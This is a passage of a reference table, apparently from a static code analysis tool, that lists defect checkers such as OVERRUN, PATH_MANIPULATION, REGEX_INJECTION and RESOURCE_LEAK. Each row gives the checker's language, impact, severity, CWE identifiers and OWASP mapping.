| OVERRUN | Illegal address computation | Memory - corruptions | C/C++ | If this address is later used for bounds checking another pointer before dereferencing, an overrun may occur due to the weak guard. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Illegal address computation | Memory - corruptions | Objective-C/C++ | If this address is later used for bounds checking another pointer before dereferencing, an overrun may occur due to the weak guard. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Out-of-bounds access | Memory - corruptions | C/C++ | Access of memory not owned by this buffer may cause crashes or incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Out-of-bounds access | Memory - corruptions | Objective-C/C++ | Access of memory not owned by this buffer may cause crashes or incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Out-of-bounds read | Memory - illegal accesses | C/C++ | Incorrect values read from a different memory region will cause incorrect computations. | High | Quality, Security | 125 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 125, 126, 127, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Out-of-bounds read | Memory - illegal accesses | Objective-C/C++ | Incorrect values read from a different memory region will cause incorrect computations. | High | Quality, Security | 125 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 125, 126, 127, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Allocation size error | Memory - corruptions | C/C++ | A buffer overrun may occur if the string is copied into the buffer. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Allocation size error | Memory - corruptions | Objective-C/C++ | A buffer overrun may occur if the string is copied into the buffer. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Out-of-bounds write | Memory - corruptions | C/C++ | This could cause an immediate crash or incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| OVERRUN | Out-of-bounds write | Memory - corruptions | Objective-C/C++ | This could cause an immediate crash or incorrect computations. | High | Quality, Security | 119 | 17, 18, 19, 20, 118, 119, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| PARSE_ERROR | Unrecoverable parse warning | Parse warnings | C/C++ | The functions in the compilation unit will not be analyzed for other defects; any callers of these functions will not be able to use the summary of the skipped functions. | Low | Quality | None | |||
| PARSE_ERROR | Unrecoverable parse warning | Parse warnings | Swift | The functions in the compilation unit will not be analyzed for other defects; any callers of these functions will not be able to use the summary of the skipped functions. | Low | Quality | None | |||
| PASS_BY_VALUE | Big parameter passed by value | Performance inefficiencies | C/C++ | Copying large values is inefficient, consider passing by reference; size thresholds for detection can be adjusted. | Low | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PASS_BY_VALUE | Big parameter passed by value | Performance inefficiencies | Objective-C/C++ | Copying large values is inefficient, consider passing by reference; size thresholds for detection can be adjusted. | Low | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | C# | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | Java | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | JavaScript | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | PHP | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | Python | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | Swift | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PATH_MANIPULATION | Filesystem path, filename, or URI manipulation | High impact security | Visual Basic | An attacker may access, modify, or corrupt files that contain sensitive information or are critical to the application. | High | Security | 22 | 17, 18, 19, 20, 21, 22, 23, 36, 249, 254, 361, 629, 632, 635, 664, 668, 693, 699, 700, 706, 711, 715, 722, 723, 734, 738, 742, 743, 746, 747, 750, 751, 800, 802, 809, 813, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 928, 932, 963, 975, 981, 984, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1026, 1031 | owasp-web-2017-A5: Broken Access Control | ✓ |
| PREDICTABLE_RANDOM_SEED | Constant seed used in random number generator | Low impact security | Java | An attacker may predict generated random number with modest computational effort. | Low | Security | 336 | 17, 18, 254, 330, 335, 336, 337, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| PREDICTABLE_RANDOM_SEED | Constant seed used in random number generator | Medium impact security | Java | An attacker may predict generated random number with modest computational effort. | Medium | Security | 336 | 17, 18, 254, 330, 335, 336, 337, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| PREDICTABLE_RANDOM_SEED | System time used as seed in random number generator | Medium impact security | Java | An attacker may predict generated random number with modest computational effort. | Medium | Security | 337 | 17, 18, 254, 330, 335, 337, 699, 700, 711, 723, 734, 747, 750, 753, 800, 808, 844, 861, 867, 868, 883, 884, 888, 900, 905, 1000, 1003, 1008, 1013 | ||
| PROPERTY_MIXUP | Property getter or setter mixup | Incorrect expression | C# | This may lead to incorrect program behavior. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PROPERTY_MIXUP | Property getter or setter mixup | Incorrect expression | Java | This may lead to incorrect program behavior. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PROPERTY_MIXUP | Property getter or setter mixup | Incorrect expression | Swift | This may lead to incorrect program behavior. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PROPERTY_MIXUP | Property getter or setter mixup | Incorrect expression | Visual Basic | This may lead to incorrect program behavior. | Medium | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PW.* | Parse warning | Parse warnings | C/C++ | A parse warning may reduce maintainability of the code, or it may indicate a serious error. | Low | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PW.* | Parse warning | Parse warnings | Swift | A parse warning may reduce maintainability of the code, or it may indicate a serious error. | Low | Quality | 398 | 17, 18, 398, 700, 710, 888, 907, 978, 1000, 1003 | ||
| PW.ASSIGN_WHERE_COMPARE_MEANT | Assign instead of compare | Incorrect expression | C/C++ | The variable will be assigned the value that it was intended to compare against, causing the result to always be true. | Medium | Quality | 481 | 17, 18, 398, 438, 480, 481, 569, 670, 691, 699, 700, 710, 734, 747, 868, 871, 883, 884, 885, 888, 907, 977, 978, 998, 1000, 1003 | ||
| PW.BAD_CAST | Lossy integer to pointer | Integer handling issues | C/C++ | Some bits of the integer value will be lost in the conversion, possibly producing a corrupt pointer value. | Medium | Quality | 704 | 17, 18, 19, 136, 361, 664, 699, 700, 704, 734, 737, 741, 747, 868, 875, 883, 885, 888, 892, 984, 998, 1000, 1003 | ||
| PW.BAD_PRINTF_FORMAT_STRING | Printf format string issue | API usage errors | C/C++ | The format string may be interpreted incorrectly by printf, causing undefined behavior. | Medium | Quality | 628 | 227, 559, 573, 628, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| PW.BRANCH_PAST_INITIALIZATION | Branch past initialization | Control flow issues | C/C++ | If the variable is used after the target, it will be uninitialized. | Medium | Quality | 457 | 17, 18, 361, 398, 452, 457, 664, 665, 699, 700, 710, 734, 740, 742, 750, 752, 844, 846, 868, 874, 876, 885, 888, 889, 892, 907, 962, 978, 984, 998, 1000, 1003 | ||
| PW.CONVERSION_TO_POINTER_LOSES_BITS | Lossy integer to pointer | Integer handling issues | C/C++ | Some bits of the integer value will be lost in the conversion, possibly producing a corrupt pointer value. | Medium | Quality | 704 | 17, 18, 19, 136, 361, 664, 699, 700, 704, 734, 737, 741, 747, 868, 875, 883, 885, 888, 892, 984, 998, 1000, 1003 | ||
| PW.DIVIDE_BY_ZERO | Divide by zero | Integer handling issues | C/C++ | The program will have undefined behavior, likely a crash. | Medium | Quality | 369 | 17, 18, 19, 189, 369, 635, 682, 699, 711, 730, 734, 738, 739, 750, 752, 844, 848, 868, 872, 873, 884, 885, 888, 907, 977, 998, 1000, 1003 | ||
| PW.EXPR_HAS_NO_EFFECT | Expression with no effect | Incorrect expression | C/C++ | The expression will not have its intended effect. | Medium | Quality | None | |||
| PW.INCLUDE_RECURSION | Recursion in included headers | Build system issues | C/C++ | Compilation errors or even run-time errors (in the presence of function overloading) can result. | Low | Quality | None | |||
| PW.INTEGER_OVERFLOW | Integer overflow warning | Integer handling issues | C/C++ | The value of the constant expression may be an unexpected very small or negative value. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| PW.INTEGER_TOO_LARGE | Integer overflow warning | Integer handling issues | C/C++ | The value of the constant expression may be an unexpected very small or negative value. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| PW.NON_CONST_PRINTF_FORMAT_STRING | Non-constant format string | Security best practices violations | C/C++ | If an attacker can affect the format string, they may leverage it to corrupt the stack and take over execution. | Low | Quality | 134 | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | ✓ |
| PW.PRINTF_ARG_MISMATCH | Printf arg type mismatch | API usage errors | C/C++ | The value will be misinterpreted by printf, causing incorrect output and possibly out-of-bounds memory access. | Medium | Quality | 686 | 227, 559, 573, 628, 686, 699, 700, 710, 734, 736, 737, 739, 741, 742, 743, 748, 844, 850, 868, 873, 875, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| PW.RETURN_PTR_TO_LOCAL_TEMP | Returning pointer to temp | Memory - illegal accesses | C/C++ | The pointer will reference freed memory, causing a use-after-free in the caller if the pointer is ever used. | High | Quality | 562 | 17, 18, 361, 398, 562, 664, 666, 672, 699, 700, 710, 734, 748, 800, 808, 840, 884, 885, 888, 892, 907, 978, 983, 984, 998, 1000, 1003, 1006 | ||
| PW.SHIFT_COUNT_TOO_LARGE | Integer overflow warning | Integer handling issues | C/C++ | The value of the constant expression may be an unexpected very small or negative value. | Medium | Quality | 190 | 17, 18, 19, 20, 189, 190, 254, 635, 682, 693, 699, 700, 711, 722, 734, 738, 739, 742, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 873, 876, 883, 884, 885, 888, 896, 900, 907, 975, 977, 994, 998, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| PW.TOO_FEW_PRINTF_ARGS | Printf arg count mismatch | API usage errors | C/C++ | If there are too many arguments, some values will be ignored; if there are too few, undefined behavior may result. | Medium | Quality | 685 | 227, 559, 573, 628, 685, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| PW.TOO_MANY_PRINTF_ARGS | Printf arg count mismatch | API usage errors | C/C++ | If there are too many arguments, some values will be ignored; if there are too few, undefined behavior may result. | Medium | Quality | 685 | 227, 559, 573, 628, 685, 699, 700, 710, 734, 736, 737, 742, 844, 850, 884, 885, 887, 888, 907, 978, 998, 1000, 1001, 1006 | ||
| PW.UNSIGNED_COMPARE_WITH_NEGATIVE | Unsigned compared with neg | Integer handling issues | C/C++ | The condition will not ensure a constraint on the value. | Medium | Quality | 570 | 17, 18, 398, 561, 569, 570, 699, 700, 710, 734, 747, 868, 883, 884, 885, 886, 888, 907, 978, 998, 1000, 1003, 1006 | ||
| READLINK | Readlink used insecurely | Memory - illegal accesses | C/C++ | The buffer will be written past the end looking for a null terminator, causing a buffer overrun. | High | Quality, Security | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| READLINK | Readlink used insecurely | Memory - illegal accesses | Objective-C/C++ | The buffer will be written past the end looking for a null terminator, causing a buffer overrun. | High | Quality, Security | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| REGEX_CONFUSION | Unintended regular expression | API usage errors | Java | The string manipulation will return incorrect results for some inputs. | Medium | Quality | 185 | 17, 18, 19, 137, 171, 185, 697, 699, 734, 747, 844, 845, 868, 883, 884, 888, 896, 907, 977, 990, 1000, 1003 | ||
| REGEX_INJECTION | Regular expression injection | Low impact security | C# | An attacker may be able to retrieve sensitive information, alter the behavior of the program, or exhaust resources within the application. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| REGEX_INJECTION | Regular expression injection | Low impact security | Java | An attacker may be able to retrieve sensitive information, alter the behavior of the program, or exhaust resources within the application. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| REGEX_INJECTION | Regular expression injection | Low impact security | JavaScript | An attacker may be able to retrieve sensitive information, alter the behavior of the program, or exhaust resources within the application. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| REGEX_INJECTION | Regular expression injection | Low impact security | Swift | An attacker may be able to retrieve sensitive information, alter the behavior of the program, or exhaust resources within the application. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| REGEX_INJECTION | Regular expression injection | Low impact security | Visual Basic | An attacker may be able to retrieve sensitive information, alter the behavior of the program, or exhaust resources within the application. | Low | Security | 94 | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| RESOURCE_LEAK | Channel leak | Resource leaks | C# | The resource underlying the channel will remain open and unused, reducing the future availability of channels. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Channel leak | Resource leaks | Visual Basic | The resource underlying the channel will remain open and unused, reducing the future availability of channels. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Database connection leak | Resource leaks | C# | The database connection will remain open and unused, reducing the future availability of other connections. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Database connection leak | Resource leaks | Visual Basic | The database connection will remain open and unused, reducing the future availability of other connections. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak on an exceptional path | Exceptional resource leaks | C/C++ | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | Low | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak on an exceptional path | Exceptional resource leaks | C# | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | Low | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak on an exceptional path | Exceptional resource leaks | Java | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | Low | Quality, Security | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak on an exceptional path | Exceptional resource leaks | Objective-C/C++ | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | Low | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak on an exceptional path | Exceptional resource leaks | Visual Basic | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | Low | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Integer handle or fd leak | Resource leaks | C/C++ | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 775 | 17, 18, 361, 398, 399, 400, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 769, 772, 775, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| RESOURCE_LEAK | Integer handle or fd leak | Resource leaks | Objective-C/C++ | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 775 | 17, 18, 361, 398, 399, 400, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 769, 772, 775, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak | Resource leaks | C/C++ | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak | Resource leaks | C# | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak | Resource leaks | Java | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality, Security | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak | Resource leaks | Objective-C/C++ | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Resource leak | Resource leaks | Visual Basic | The system resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Socket leak | Resource leaks | C# | The system socket will remain open and unused, reducing the future availability of sockets for other purposes. | High | Quality | 403 | 17, 18, 361, 398, 399, 402, 403, 404, 634, 635, 664, 668, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 895, 907, 963, 978, 982, 984, 1000, 1003, 1008, 1011 | ||
| RESOURCE_LEAK | Socket leak | Resource leaks | Java | The system socket will remain open and unused, reducing the future availability of sockets for other purposes. | High | Quality, Security | 403 | 17, 18, 361, 398, 399, 402, 403, 404, 634, 635, 664, 668, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 895, 907, 963, 978, 982, 984, 1000, 1003, 1008, 1011 | ||
| RESOURCE_LEAK | Socket leak | Resource leaks | Visual Basic | The system socket will remain open and unused, reducing the future availability of sockets for other purposes. | High | Quality | 403 | 17, 18, 361, 398, 399, 402, 403, 404, 634, 635, 664, 668, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 895, 907, 963, 978, 982, 984, 1000, 1003, 1008, 1011 | ||
| RESOURCE_LEAK | Stream leak | Resource leaks | C# | The stream's underlying resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
